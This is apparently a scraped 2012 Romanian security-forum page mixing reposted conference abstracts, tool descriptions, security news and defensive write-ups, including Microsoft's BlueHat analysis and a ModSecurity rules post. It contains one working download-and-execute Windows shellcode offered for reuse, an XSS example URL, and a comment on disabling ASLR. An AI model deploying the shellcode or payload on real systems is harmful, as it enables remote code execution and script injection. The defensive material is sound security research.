Nytro

Demonstrati-ne tuturor ca se poate. Imi place ca aveti initiativa. Bafta!

[h=1]DeepSec 2010: Detection of Hardware Keyloggers[/h] Thanks to the DeepSec organisation for making these videos available and let me share the videos on YouTube. Speaker: Fabian Mihailowitsch, Independent Researcher Hardware keyloggers are tiny devices that are plugged between a computer keyboard and a computer. They are available for PS/2 as well as USB keyboards. Once plugged, they are able to record all key strokes and store them using an internal memory. Current models have various megabytes of memory, store the recorded data encrypted, support timestamping of the keyboard events and some even can transfer the key strokes wireless. However the main focus of hardware keyloggers is to stay undetected. Most manufacturers promote their models cannot be detected by software and thus have an advantage over software based keyloggers. But not just the manufacturers' claim hardware keyloggers to be undetectable, even the common belief is they cannot be detected. However that's not correct. Hardware keyloggers make slight changes to the interaction between the keyboard and the computer. These changes can be detected by software and used to determine whether a hardware keylogger is present or not. For example some USB keyloggers change the USB signaling rate or act as USB hub. These changes are quite obvious and can be detected easily. When trying to detect PS/2 keyloggers, things gets more difficult. Nevertheless it is possible. For example whenever PS/2 keyloggers tap the wire actively (this means the data is redirected via the microcontroller of the keylogger), this influences the transfer rate between the keyboard controller (KBC) on the motherboard and the microprocessor of the keyboard. Measuring this time delay, PS/2 hardware keyloggers can be detected too. During the talk an introduction to hardware keyloggers will be given. This introduction covers their features, how they work and gives a short market overview. Afterwards various techniques will be described to detect hardware keyloggers. Some of them are theoretical as they didn't work for the tested models. However others are practical and can be used in real case scenarios. For each technique a detailed presentation will be given, explaining the basic idea, the necessary technical background and the results in practice. Finally a proof of concept tool will be released, that implements some of the techniques to detect PS/2 and USB hardware keyloggers. For more information visit: Schedule - DeepSec IDSC 2010 Europe - Vienna, November 23-26, 2010 To download the video visit: DeepSec 2010 on Vimeo

[h=1]DeepSec 2010: DIY Malware Analysis with Minibis by Aaron Kaplan and Christian Wojner[/h] DYI malware analysis with Minibis Aaron Kaplan & Christian Wojner, CERT.at This talk will show people how to use Minibis - the "mini Anubis" - massmalware analyzer. Since most malware is still easily run-time analyzable via virtualization, we can extract a wealth of knowledge via mass malware analysis. Participants will learn how to crunch through large numbers of malware samples and extract any information they seek such as resolved domain names, the top registry changes, etc. L. Aaron Kaplan and Christian Wojner work at CERT.at, the national CERT of Austria.

[h=1]DeepSec 2010: LTE Radio Interface and its Security Mechanism[/h] Published on Jul 30, 2012 by Sicherheitsforschung LTE Radio Interface structure and its security mechanism Herbert Koblmiller, T.B.A. LTE is using complete different Radio Architecture than GSM and UMTS and tries to simplify its Procedure- and Layer structure in order to improve data throughput and latency. Getting rid of the signalling overhead of UMTS but being comparable robust to GSM will possibly the path for LTE to become the successor for the next centuries. This could mean that security mechanism in the radio interface have to be flexible to future developments like LTE advanced.

BackTrack 5 R3 - Blackhat Edition ### Comment This is an upload of the BT 5 R3 ISO that was given to each attendee of Blackhat 2012. ### Screenshot bayimg - image: Screen Shot 2012-07-29 at 4.13.2 - free uncensored image hosting ### From Backtrack-linux.org The BackTrack Development team will be releasing an R3 revision of our Penetration Testing distribution in 2 weeks. This release focuses on bugfixes and over 50 new tool additions ?Çô making it the most potent revision yet. We have released a BT5 R3 preview in BlackHat Vegas for the enjoyment of conference attendees, which can be found in their delegate bags. The DVD contains a BT5 R3 Gnome, 32 bit edition ?Çô burnt as an ISO (as opposed to an image). We will be taking in our last bug reports and tool suggestions from the BH / Defcon crowds for our upcoming official release, which will be on August 13th, 2012. Current BT5 users can simply upgrade to the latest release using the regular update commands. More details will be released along with the full listing of new tools on the 13th of August. We hope you enjoy this fine release as much as we do! Source: http://www.backtrack-linux.org/backtrack/backtrack-5-r3-release-aug-13th-2012/ ### Hashes MD5: e2aed11ee6b63053ca2342a5441b22bc SHA1: 6c2ad022deb0219d990904c27aea4977f32a5f3c SHA512: 98cae81b41ab9405d3b8ab1caccad465a8e8b1bc41c7dac752614dd057b48404ee7820634f2d5729ec807efa5c49b7f45f6fee5e1fb062ca8fa2215e05e485fe Enjoy. -breadtk Download: http://thepiratebay.se/torrent/7486622

[h=1]PEBrowse Professional Interactive[/h] [h=2]Windows Debugger (Win32/Win64)[/h] PEBrowseDbg64 Interactive (v3.1) is a 64-bit executable and requires the .NET framework. It will debug Win32/Win64 executables, managed (.NET) and/or native. PEBrowse Professional Interactive (v9.3.3) is a debugger for Microsoft Windows 2000, Windows XP, Windows 2003, Windows Vista32, and Windows 7. PEBrowse Professional Interactive and PEBrowseDbg64 Interactive build upon the framework presented by PEBrowse Professional to create very powerful, versatile, and customizable Win32 and Win64 user mode debuggers/disassemblers, respectively. PEBrowse Interactive is not a source code debugger, but operates at the Intel x86 instruction level and therefore at the lowest level where your program executes. The debugger fully supports Microsoft .NET managed processes and seamlessly allows interop or mixed-mode debugging. PEBrowseDbg64 Interactive is an x64 native-code debugger that fully supports 32 and 64-bit .NET programs, includes using pre-JITted metadata to set breakpoints and steps through .NET thunks. PEBrowse Interactive can be set as the startup debugger using the system registry Image File Execution Options key - useful for debugging ASP.NET applications. There is a large array of breakpoint opportunities, including: [TABLE=class: pagetable, width: 95%] [TR] [TD=width: 33%] process initialization module load thread startup module exports [/TD] [TD=width: 33%] debug symbols JITted (Just-In-Time) methods user specified addresses [/TD] [TD=width: 34%] memory breakpoints conditional breakpoints one-time breakpoints [/TD] [/TR] [/TABLE] When a breakpoint fires or an exception in the process occurs, the interface provides easy access to full process context, including: [TABLE=class: pagetable, width: 95%] [TR] [TD=width: 33%] loaded modules valid memory ranges debug log messages register values (including debug, floating-point, and segment registers) stack addresses disassembly at the breakpoint or exception address [/TD] [TD=width: 33%] virtually unlimited numbers of disassembly and memory displays additional process information, including thread information kernel, USER32, GDI32 objects (32-bit only) critical sections process environment startup parameters [/TD] [TD=width: 34%] heap display (32-bit only) execution path summary subroutine discovery intermediate language disassembly (for .NET managed modules) [/TD] [/TR] [/TABLE] There are all of the usual debugging features, such as single-stepping, stepping into/over call statements, executing until a selected instruction, as well as running to the next branch instruction. You can even add breakpoints on a specific IL statement in a .NET managed method. Memory DWORD/QWORD displays automatically indicate if the value is a valid memory address in the context of the debugged process and these values whenever possible resolve to symbolic names or important process regions, e.g., thread stacks, process heaps, and module sections. The color-coded disassembly displays also attempt to use symbolic information as well as offering various highlighting options designed to allow easy analysis of the code. There is even convenient access to a scratchpad, a calculator, and tables for hex-to-ASCII values, common Win32 error codes (32-bit only), and Windows message codes (32-bit only). There are many more options available on each window by accessing the context-sensitive menu items (popups are present also). Screenshot PEBrowse Professional Interactive: Screenshot PEBrowseDbg64 Professional Interactive: Download PEBrowse Professional Interactive. Download PEBrowseDbg64 Interactive. Read the Tutorial. Sursa: Windows Debugger

[h=1]PEBrowse Professional[/h] [h=2]Windows Disassembler[/h] PEBrowse64 Professional (v3.1) is a 64-bit executable and requires the .NET framework. It will display both Win32 and Win64 executables, native, managed and mixed. PEBrowse Professional (v10.1.4) is a static-analysis tool and disassembler for Win32/Win64 executables and Microsoft .NET assemblies. With the PEBrowse disassembler, one can open and examine any executable without the need to have it loaded as part of an active process with a debugger. Applications, system DLLs, device-drivers and Microsoft .NET assemblies are all candidates for offline analysis using either PEBrowse programs. The information is organized in a convenient treeview index with the major divisions of the PE file displayed as nodes. In most cases selecting nodes will enable context-sensitive multiple view menu options, including binary dump, section detail, disassembly and structure options as well as displaying sub-items, such as optional header directory entries or exported functions, that can be found as part of a PE file unit. Several table displays, hex/ASCII equivalents, window messages and error codes, as well as a calculator and scratchpads are accessible from the main menu (calculator, messages and codes in PEBrowse Professional only). While the binary dump display offers various display options, e.g., BYTE, WORD, or DWORD alignment, the greatest value of PEBrowse comes when one disassembles an entry-point. An entry-point in PEBrowse is defined as: [TABLE=class: pagetable, width: 95%] [TR] [TD=width: 33%] module entry-point exports (if any) [/TD] [TD=width: 33%] debug-symbols (if a valid PDB, i.e., program database file, is present) imported API references [/TD] [TD=width: 34%] relocation addresses internal functions/subroutines any valid address inside of the module [/TD] [/TR] [/TABLE] Selecting and disassembling any number of these entry-points produces a versatile display rich in detail including upper/lowercase display, C/Pascal/Assembler suffix/prefixing, object code, color-coded statements, register usage highlighting, and jump/call target preview popups. Additional information, such as variable and function names, will also be present if one has access to a valid PDB file. Disassembly comes in two flavors: linear sweep (sequential disassembly from a starting address) and recursive traversal, aka, analysis mode (disassembly of all statements reachable by non-call statements - extended analysis disassembles all internal call statements as well). The latter mode also presents local variables with cross-referencing, highlighting, and renaming options. If one adds/changes variable name or adds comments to specific lines, these can be displayed in a session file which will record and save all currently opened displays. PEBrowse Professional will decompile type library information either embedded inside of the binary as the resource "TYPELIB" or inside of individual type libraries, i.e., .TLB or .OLB files. PEBrowse Professional and PEBrowse64 Professional also display all metadata for .NET assemblies and displays IL (Intermediate Language) for .NET methods. They seamlessly handle mixed assemblies, i.e., those that contain both native and managed code. Finally, the 32-bit PEBrowse can be employed as a file browse utility for any type of file with the restriction that the file must be small enough that it can be memory-mapped. Screenshot of PEBrowse Professional: Download PEBrowse Professional. Download PEBrowse64 Professional. Read the Tutorial. Sursa: Windows Disassembler

Scot cand ajung acasa.

Site-ul demite-l.ro a fost spart Posted July 28, 2012 by George in Stiri IT Site-ul demilte-l.ro a fost spart de un hacker,utilizatorilor care doreau sa acceseze site-ul, le aprea un mesaj “RST” pe un fundal negru. RST vine de la Romanian Securiry Team. Administratorul site-ului demite-l.ro a reactionat imediat si a redictionat site-ul catre pagina de facebook “Demite-l.ro”. Pe forumul celor de la RST , utilizatori isi dau cu parerea privind spargerea acestui site. Unul dintre administatori forumului RST scrie “Nu cred ca am vazut site impotriva USL. Internetul e (inca) al nostru, apolitic. PDL si USL, aceeasi mizerie!“ iar un alt utilizator spune “Pentru ca era un site tampit A,da,hai sa-l dam jos pe basescu si sal punem pe..cine?un copil idiot(ponta) sau un idiot copil(crin)?“ Sursa Foto : RSTCenter.com Sursa: Site-ul demite-l.ro a fost spart Altele: - De ce Siteul demite-l.ro a fost SPART - www.tamtamuri.ro | www.tamtamuri.ro - REFERENDUM 2012: Siteul demite-l.ro a fost SPART de hackeri - Politic/Administrativ - ?tiri de Cluj - REFERENDUM 2012. Lovitur? de propor?ii - Siteul demite-l.ro a fost SPART | REALITATEA .NET - Site-ul "demite-l.ro" spart de hackeri - Stiri Interne - Forum Craiova Center - Site-ul Demite-l.ro a fost spart. Hackerii: Internetul e apolitic - Site-ul pentru demiterea lui Traian Basescu, spart de hackeri - REFERENDUM 2012. Lovitur? de propor?ii - Siteul demite-l.ro a fost SPART

Baaa, jur ca nu stiam Am pus forum.php pe Default, mai fac ceva modificari zilele astea. Thanks.

Sa nu incepem si aici o discutie dinasta... Nu cred ca am vazut site impotriva USL. Internetul e (inca) al nostru, apolitic. PDL si USL, aceeasi mizerie!

[h=1]Meet 'Rakshasa,' The Malware Infection Designed To Be Undetectable And Incurable[/h]Via: Defcamp Andy Greenberg, Forbes Staff [h=6]7/26/2012 @ 12:50PM[/h] Malicious software, like all software, gets smarter all the time. In recent years it’s learned to destroy physical infrastructure, install itself through Microsoft updates, and use human beings as physical “data mules,” for instance. But researcher Jonathan Brossard has innovated a uniquely nasty coding trick: A strain of malware that’s nearly impossible to disinfect. At the Black Hat security conference in Las Vegas Thursday, Brossard plans to present a paper (PDF here) on “Rakshasa,” a piece of proof-of-concept malware that aims to be a “permanent backdoor” in a PC, one that’s very difficult to detect, and even harder to remove. Like some other tenacious malware strains, Rakshasa infects the computer’s BIOS, the part of a computer’s memory that boots its operating system and initializes other system components. But it also takes advantage of a potentially vulnerable aspect of traditional computer architecture: Any peripheral like a network card, CD-ROM, or sound card can write to the computer’s RAM or to the small portions of memory allocated to any of the other peripherals. So Brossard has given Rakshasa, whose name comes from that of a mythological Indian demon, the ability to infect all of them. And if the BIOS or network card is disinfected, for instance, it can be reinfected from any one of the other compromised components. In order to disinfect the computer, “you would need to flash all the devices simultaneously,” says Brossard, founder of the French security consultancy Toucan System. “It would be very difficult to do. The cost of recovery is probably higher than the cost of the laptop. It’s probably best to just get rid of the computer.” Rakshasa, which Brossard first suggested in a less-developed form at a Paris conference last spring, is built with open source, innocuous BIOS-modifying software like Core Boot and Sea BIOS. Brossard says that makes it compatible with more machines’ hardware than proprietary software would and also means that antivirus isn’t likely to detect it. It’s programmed to download all malicious code that it uses after the machine boots up–and after antivirus is disabled–in the form of a fake PDF file over an SSL-encrypted Wifi connection, and then store that code in memory rather than on the hard drive to avoid ever leaving a trace that might be caught by forensic analysis. Just how Rakshasa would infect a computer in the first place isn’t exactly Brossard’s focus. He posits that a Chinese manufacturer might install it before it ever reaches a customer’s hands, a real problem given the complex supply chains in most computers’ past. “The whole point of this research is to undetectably and untraceably backdoor the hardware,” he says. “What this shows is that it’s basically not practical to secure a PC at all, due to legacy architecture. Because computers go through so many hands before they’re delivered to you, there’s a serious concern that anyone could backdoor the computer without your knowledge.” A spokesperson for Intel, the company as close as any to being responsible for the architecture of modern PC hardware, says it’s reviewed Brossard’s paper, and dismisses it as “largely theoretical,” writing that “there is no new vulnerability that would allow the landing of the bootkit on the system.” The company’s statement argues that it wouldn’t be possible to infect the most recent Intel-based machines that require any changes to BIOS to be signed with a cryptographic code. and it points out that Brossard’s paper “assumes the attacker has either physical access to the system with a flash programmer or administrative rights to the system to deliver the malware. In other words, the system is already compromised with root/administrative level access. If this level of access was previously obtained, a malicious attacker would already have complete control over the system even before the delivery of this bootkit.” But Brossard argues that today only a small percentage of computers require code-signing in their BIOS. He admits that the attacker would need control of the computer before installing Rakshasa–not much comfort given his concern about manufacturers installing a piece of ultra-stealthy malware. And Intel’s claim that there is “no new vulnerability” exploited by Brossard’s work? He agrees. “It’s not a new vulnerability,” he says. “It’s a problem with the architecture that’s existed for 30 years. And that’s much worse.” Check out Brossard’s paper, which contains many other nasty malware tricks here, or below. Sursa: Meet 'Rakshasa,' The Malware Infection Designed To Be Undetectable And Incurable - Forbes

Download and Execute shellcode on Windows 7 Published by Bkav Editor at 4:59 pm under Security Research Recently, I need a shellcode to download and execute an .exe file on Windows 7 for my experiment. However, there is not such a shellcode available. Meanwhile, the download and execution shellcode generated by Metasploit Framework, currently, is unable to work on Windows 7, and the search on the Internet does not bring about desirable results. With reference to the shellcode of “SkyLined” and some other shellcodes from milw0rm.com, I wrote a shellcode at my own discretion. And this is the result I would like to share with you: shellcode[] = “\xEB\x50\x31\xF6\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x6E” “\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B\x4B\x18\x67? “\xE3\xEC\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31\xC0\x99? “\x02\x17\xC1\xCA\x04\xAE\x75\xF8\x3B\x54\x24\x04\xE0\xE4\x75\xCE” “\x8B\x53\x24\x01\xEA\x0F\xB7\x14\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C” “\x97\xC3\x68\x8E\x48\x8B\x63\xE8\xA6\xFF\xFF\xFF\x66\xB8\x6C\x6C” “\x50\x68\x6F\x6E\x2E\x64\x68\x75\x72\x6C\x6D\x54\xFF\xD5\x68\x83? “\x2B\x76\xF6\xE8\x8A\xFF\xFF\xFF\xEB\x21\x50\xFF\xD5\x68\xE7\xC4? “\xCC\x69\xE8\x7B\xFF\xFF\xFF\x50\x4C\x4C\x4C\x4C\xFF\xD5\x68\x77? “\xA6\x60\x2A\xE8\x6A\xFF\xFF\xFF\x50\xFF\xD5\x50\x68\x2E\x65\x78? “\x65\x68\x43\x3A\x5C\x78\x50\x50\x89\xE3\x80\xC3\x08\x53\xE8\xC7? “\xFF\xFF\xFFhttp://website.com/file.exe”; As can be seen, the URL is placed at the end of the shellcode. Download ASM source code The shellcode was successfully experimented on Windows 7, and perhaps it can also work on Windows 2000 and later versions. Le Manh Tung Senior Security Researcher Sursa: http://blog.bkav.com/en/download-and-execute-shellcode-on-windows-7/ Other: http://grey-corner.blogspot.ro/2010/10/download-and-execute-script-shellcode.html

Ce face, modifica "/proc/sys/kernel/randomize_va_space": sys_creat sys_write sys_close Dar nu stiu daca va merge: "/proc/sys/kernel/randomize_va_space: Permission denied".

Technical Analysis of the Top BlueHat Prize Submissions swiat 26 Jul 2012 9:55 PM Now that we have announced the winners of the first BlueHat Prize competition, we wanted to provide some technical details on the top entries and explain how we evaluated their submissions. Speaking on behalf of the judges, it was great to see people thinking creatively about defensive solutions to important security problems! To set the stage for this post, we thought it would be helpful to quickly remind everyone of the problem that entrants needed to solve. Specifically, entrants were required to design a novel runtime mitigation technology that would be capable of preventing the exploitation of memory safety vulnerabilities (such as buffer overruns). The BlueHat Prize judging panel was then responsible for evaluating each submission as describedaccording to the following criteria (as described in the contest rules): Practical and functional (30%) Can the solution be deployed at large scale? Does the prototype have low overhead? Is the prototype free of any application compatibility or usability regressions? Does the prototype function as intended? Robustness (30%) How easy would it be to bypass the proposed solution? [*]Impact (40%) Does the solution strongly address key open problems or significantly refine an existing approach? Would the solution strongly mitigate exploits above and beyond Microsoft’s current arsenal? The judges for this contest consisted of representatives from Windows, Microsoft Research, and Microsoft’s Security Engineering Center (MSEC). Of the 20 entries received, the top three submissions described different methods of mitigating return oriented programming (ROP). Let’s dive into the technical details of these submissions. [h=1]3rd place: mitigating ROP via return site whitelisting (/ROP)[/h] This entry, as submitted by Jared DeMott, described a method of imposing a whitelist on the set of locations that a return instruction can transfer control to. More specifically, this solution calls for the introduction of a new compiler flag (“/ROP”) that would add metadata to an executable that describes the set of valid return sites in the image. When the image is loaded at runtime by the operating system, the image’s list is added to a master list. As the program executes, each invocation of a return instruction triggers an exception that causes the operating system to validate the target return site against the master list of return sites. If the target return site is in the list, the program continues executing as normal; otherwise, the program is safely terminated. To prototype this idea, the submission included a Pin tool that simulated the hardware support that would be needed to augment the behavior of the return instruction. In addition, the prototype also included an IDA Python script to identify the set of valid return sites for an image. This script generated the input that was needed for the Pin tool to check whether a return target was to be considered valid. [h=2]Practical and functional[/h] Although this solution is functional, it is not seen as practical for large scale deployment as described. The primary reason for this is due to the execution cost associated with implementing this check. This cost is expected to be significant because the design calls for a software interrupt to be raised for each return instruction. A second issue with this design is related to the data structure that is used to store the address of valid return sites. In particular, the prototype of this design uses the STL map container which, although it enables O(1) lookups, is not optimally compact and can therefore lead to considerable memory overhead depending on the number valid return sites that exist in modules loaded by a process. The design for this solution did not propose optimizations that could help to address both of these concerns. [h=2]Robustness[/h] This solution is seen as a partial mitigation for ROP. It could be bypassed by leveraging gadgets that are in the set of valid return sites or by using a gadget chaining method that does not involve a return instruction. The feasibility of finding a sufficient set of gadgets in the set of valid return sites is expected to be uncommon. The use of alternative chaining methods is feasible, although the complexity associated with doing so exceeds the current state of the art in ROP-based exploits seen in the wild. [h=2]Impact[/h] This solution would have a moderate impact if were possible to deploy it at large scale. The fact that this solution does not fully address all forms of code re-use limits the expected long term impact of the design as described. [h=1]2nd place: mitigating ROP by placing new checks in critical functions (ROPGuard)[/h] This entry, as submitted by Ivan Fractic, described a method of mitigating ROP by introducing additional checks that are performed when critical functions, such as VirtualProtect, are called. These checks are designed to detect conditions that are indicative of ROP occurring, such as an API being called out of context. The checks proposed by this submission included: Verifying that the stack pointer is within the bounds of the thread’s stack. Verifying that that the return address of a critical function is executable and preceded by a call. Verifying that all stack frames are valid and satisfy criteria 1 and 2. Simulate execution forward from a critical function’s return address to verify that subsequent returns satisfy criteria #2. Function specific contract changes (e.g. prevent reprotecting of the stack as executable). Although adding checks to critical functions to detect ROP is not a new idea, and indeed some of the checks above have already been described in previous research, this submission included novel elements that we had not seen discussed before. We actually received a number of submissions which proposed adding new checks to critical functions, but the other submissions had a subset of the checks proposed by this submission or by previous research. [h=2]Practical and functional[/h] The checks proposed by this submission are considered to be both practical and functional. By limiting these checks to certain critical functions, the performance impact is minimized. Some of the proposed checks would be incompatible with certain applications. Specifically, criteria #1 is known to be incompatible with some legacy applications that do custom stack switching and #3 is incompatible with x86 programs that enable frame pointer omission. [h=2]Robustness[/h] ROP mitigations that rely on introducing new checks to critical functions are not considered to be robust over the long term. The checks proposed by this submission and in previous research are capable of mitigating ROP payloads that are used today, but it is expected that attackers would be able to adapt to these checks at relatively low cost. For example, a fundamental problem with this type of approach is that an attacker could attempt to call a lower level API that has not been instrumented by the checks. A variant of this bypass is to transfer control after the instruction block that performs the checks (depending on how the checks have been added). [h=2]Impact[/h] This solution would have a moderate impact if implemented correctly and deployed at large scale. The fact that this solution does not fundamentally address ROP limits the expected long term impact of the design as described. [h=1]1st place: mitigating ROP via Last Branch Recording (kBouncer)[/h] This entry, as submitted by Vasilis Pappas, described a novel method of using the Last Branch Recording (LBR) feature of Intel processors to detect ROP when system calls are made. This method relies on a kernel component that allows branch recording to be enabled for return control transfers. When a system call occurs, the kernel component then enumerates each entry in the LBR stack and verifies that the destination address is preceded by a call instruction. The prototype for this solution relied on evaluating the contents of the LBR when certain critical APIs were called rather than at the system call layer. The cited reason for this was due to Windows kernel restrictions around interposing the system call layer in kernel mode. [h=2]Practical and functional[/h] This solution is considered to be both practical and functional. The use of supported hardware features to track the destination address of return control transfers helps to drive down the performance cost and complexity of implementing this solution. There should also be minimal application compatibility impact through this approach. [h=2]Robustness[/h] This solution is not expected to be robust over the long term, although it should be robust against ROP payloads that are used today. There are multiple reasons why it is not expected to be robust. First and foremost, the Last Branch Recording feature of Intel processors has a limited stack for storing control transfers (16 entries on Nahelam and up). If an attacker can ensure that a sufficient number of valid returns happen between the control transfer that eventually leads to an API call and the point where the LBR stack is checked, then this solution can be bypassed. It is believed that attackers would be able to accomplish this in most cases with a low to moderate development cost. While it may be possible to use the Branch Trace Store (BTS) feature to help address this problem, the performance cost may become unacceptable. The other reasons for this solution not being robust are shared with the two previous submissions: specifically, imposing these checks on specific APIs (as in the prototype) may be prone to bypasses and imposing checks only on returns does not mitigate all methods of chaining gadgets. [h=2]Impact[/h] This solution would have a moderate impact if implemented correctly and deployed at large scale. The fact that this solution does not fundamentally address ROP limits the expected long term impact of the design as described. [h=1]Closing thoughts[/h] The winning submissions illustrate some of the creative thinking that has gone into developing defensive methods of making it more difficult and costly to exploit memory safety vulnerabilities. As we look toward the future, we will investigate whether there are elements of these methods that may make sense to integrate into EMET or a future version of our products. We have already taken steps in this direction by integrating features from the ROPGuard submission and related prior research into the Technical Preview of EMET 3.5. As the judging criteria makes it clear, it can be quite challenging to turn an interesting defensive security idea into something that can be shipped in a retail product at large scale. Nevertheless, ideas that may seem impractical on the surface can eventually be turned into an innovative and practical solution – it just takes some additional focused thinking. Matt Miller MSEC Security Science Sursa: Technical Analysis of the Top BlueHat Prize Submissions - Security Research & Defense - Site Home - TechNet Blogs

[h=3]Announcing the availability of ModSecurity extension for IIS[/h]swiat 26 Jul 2012 10:44 AM Vulnerabilities in on-line services, like cross-site scripting, cross-site request forgery, or even information disclosure, are important areas of focus for the Microsoft Security Response Center (MSRC). Over the last few years Microsoft has developed a number of tools capable of mitigating selected web specific vulnerabilities (for example, UrlScan). To help on this front we have participated in a community effort to bring the popular open source module ModSecurity to the IIS platform. Yesterday at Black Hat Las Vegas, we have announced the availability of an RC version and we expect that stable release will be available soon. [h=1]Installation[/h] Although the source code of ModSecurity’s IIS components is fully published and the binary building process is publicly described (see mod_security/iis/winbuild/howto.txt in SourceForge repository), it is highly not recommended to self-build the module for non-research or non-development purpose. A standard MSI installer of ModSecurity for IIS 7 and later versions is available from SourceForge files repository of ModSecurity project and in the future designated maintainers will be keeping it updated with latest patches and minor versions of the module. [h=1]Configuration[/h] The IIS installer does not interfere with currently running web applications. This means that the installation process must be followed by an application pool restart or recycling in order to load the new module into the application pool process. For the RC version of the module the restart/recycle step is also highly recommended each time a ModSecurity configuration file has been changed: After successful load of the module into the application pool process a series of informational events is recorded in the application event log: Runtime messages and notifications generated during the operational phase, both coming from the user-defined rules and system specific events or errors, are sent to the same application event log repository. To apply a ModSecurity configuration file to a web application or a path, one has to use IIS configuration schema extension, like in the example below: <?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <ModSecurity enabled="true" configFile="c:\inetpub\wwwroot\test.conf" /> </system.webServer> </configuration> The c:\inetpub\wwwroot\test.conf config file is a regular ModSecurity configuration containing the same directives as used on the Apache web server. [h=1]Examples of Protection[/h] The most common application of ModSecurity is a protection layer called “virtual patching” (see Resources section, [5]). Using two recent vulnerabilities as an example we would like to show how this layer can be specified in an environment with IIS server running with ModSecurity. CVE-2011-3414 In December 2011 a vulnerability was addressed in ASP.NET that allowed attackers to cause excessive processor load on most ASP.NET web applications. The hash collision issue required attacker to send a large (typically 1MB or 4MB) POST request to the server, with tens of thousands of arguments with specially crafted names. There are at least four ways to mitigate this kind of attack: Restrict the request body size. Restrict the number of arguments. Identify repetitive payloads. Check arguments names against PoC data. The approach of checking for the presence of repetitive payload is the most sophisticated one and it can be implemented in ModSecurity using the following chain of rules: SecRule &ARGS "@ge 1000" "chain,id:1234,phase:2,t:none,deny,msg:'Possible Hash DoS Attack Identified.',tag:'http://blogs.technet.com/b/srd/archive/2011/12/27/more?information?about?the?december?2011?asp?net?vulnerability.aspx?Redirected=true'" SecRule REQUEST_BODY "^\w*?=(.*?)&\w*?=(.*?)&\w*?=(.*?)&\w*?=(.*?)&" "chain,capture" SecRule TX:1 "@streq %{tx.2}" "chain,setvar:tx.hash_dos_match=+1" SecRule TX:2 "@streq %{tx.3}" "chain,setvar:tx.hash_dos_match=+1" SecRule TX:3 "@streq %{tx.4}" "chain,setvar:tx.hash_dos_match=+1" SecRule TX:HASH_DOS_MATCH "@eq 3" When this rule is loaded into an IIS server configuration and the attack is launched on the protected path, the Windows application event log will record an access denied message from ModSecurity: At the same time the attacker will see HTTP response 403, stopping the attack before it reaches ASP.NET vulnerable component. CVE-2012-1859 In July 2012, Microsoft patched a classic case of reflected cross-site scripting vulnerability in Microsoft SharePoint 2010. For the attacks to exploit the vulnerability it was enough to trick user into clicking on a malicious URL, like the one below: http://sharepoint/_layouts/scriptresx.ashx?culture=en?us&name=SP.JSGrid.Res&rev=laygpE0lqaosnkB4iqx6mA%3D%3D&sections=All<script>alert(‘Hacked!!!’)</script>z The script injected by the attacker could gain access to the entire data set available to the victim through the hacked SharePoint server. One possible way to block this attack is a whitelist approach: let the URL with sections argument that does contain only valid characters pass through, while block all other URLs. Below is a ModSecurity rule implementing this approach for alphanumeric characters: SecRule REQUEST_FILENAME "@contains /_layouts/scriptresx.ashx" "chain,phase:1,block,msg:'SharePoint Sections Param Violation - Illegal Chars" SecRule ARGS:sections "!@rx ^\w+$" The rule included through ModSecurity config file into the SharePoint web.config file, generates the following event when any invalid character (indicating possible attack attempt) is discovered in the corresponding SharePoint URL: [h=1]Feedback[/h] We encourage you to download and try out the tool. If you have any feedback on your experiences with the tool, you can reach us at switech@microsoft.com. [h=1]Acknowledgments[/h] The following people have contributed to the multi-platform effort of ModSecurity: Microsoft – ModSecurity Port for IIS Greg Wroblewski – Senior Security Developer Suha Can – Security Researcher / Developer [*] Trustwave - ModSecurity Ziv Mador – Director of Security Research Ryan Barnett – Security Researcher Lead Breno Pinto – ModSecurity Researcher & Developer [*] Open community - Security Port for Nginx Alan Silva - Software Engineer at Alcatel-Lucent We would like to thank: Wade Hilmo and Nazim Lala, members of the Microsoft’s IIS team , for their support and help in solving many technical problems. [h=1]Resources[/h] [1] ModSecurity home page: http://www.modsecurity.org/ [2] OWASP Core Rule Set for ModSecurity: https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project [3] http://blog.modsecurity.org/files/enough_with_default_allow_r1_draft.pdf [4] http://www.modsecurity.org/documentation/Securing_Web_Services_with_ModSecurity_2.0.pdf [5] https://www.blackhat.com/presentations/bh-dc-09/Barnett/BlackHat-DC-09-Barnett-WAF-Patching-Challenge-Whitepaper.pdf - Greg Wroblewski, Microsoft Security Engineering Center - Ryan Barnett, Trustwave Sursa: Announcing the availability of ModSecurity extension for IIS - Security Research & Defense - Site Home - TechNet Blogs

[h=2]Apple tot o curva ramane.[/h] Published on July 26, 2012 by Razvan in Stiri ?i am dreptate când spun asta. Dup? cum ?ti?i Apple ?i Samsung duc o lupt? a patentelor pe tot globul, mai r?mâne s? se judece ?i în România. Ca s? în?eleag? toat? lumea: Apple folose?te patente Samsung ?i Samsung folose?te patente Apple. Doar c? Apple, a?a ca o curv? cum este, a decis s? creasc? suma pe care compania Sud-coreean? trebuie s? o pl?teasc? pentru produs de la 2.09$ la 24$. Asta dup? ce le-a transmis celor de la Samsung c? patentele lor nu valoreaz? nimic, oferindu-le 0.0049$ per patent. Adic?, dac? Apple o s? vând? 30 de milioane de telefoane anul acesta, Samsung o s? câ?tige doar 147.000$, pe de alt? parte ar trebui s? pl?teasc? celor de la Apple câteva miliarde de dolari. Pare corect, nu? Am în?eles c? judec?torul englez i-a umilit în cel mai scârbos mod posibil, dar s? reac?ionezi în disperare ?i într-un mod ?ig?nesc, este de cel mai jos nivel posibil. Dac? pân? acum aveam o problem? doar cu pre?ul ridicat al produselor Apple, asta pentru ce pot s? fac?, acum am o scârb? fa?? de aceast? companie ?i metodele ei. Sursa: Apple tot o curva ramane.

Am reparat memberslist-ul: https://rstcenter.com/forum/memberlist.rst Hai ca nu a trecut asa mult de cand nu mergea... Edit: Merge si calendarul pana in 2015 acum, aici gj vBulletin...

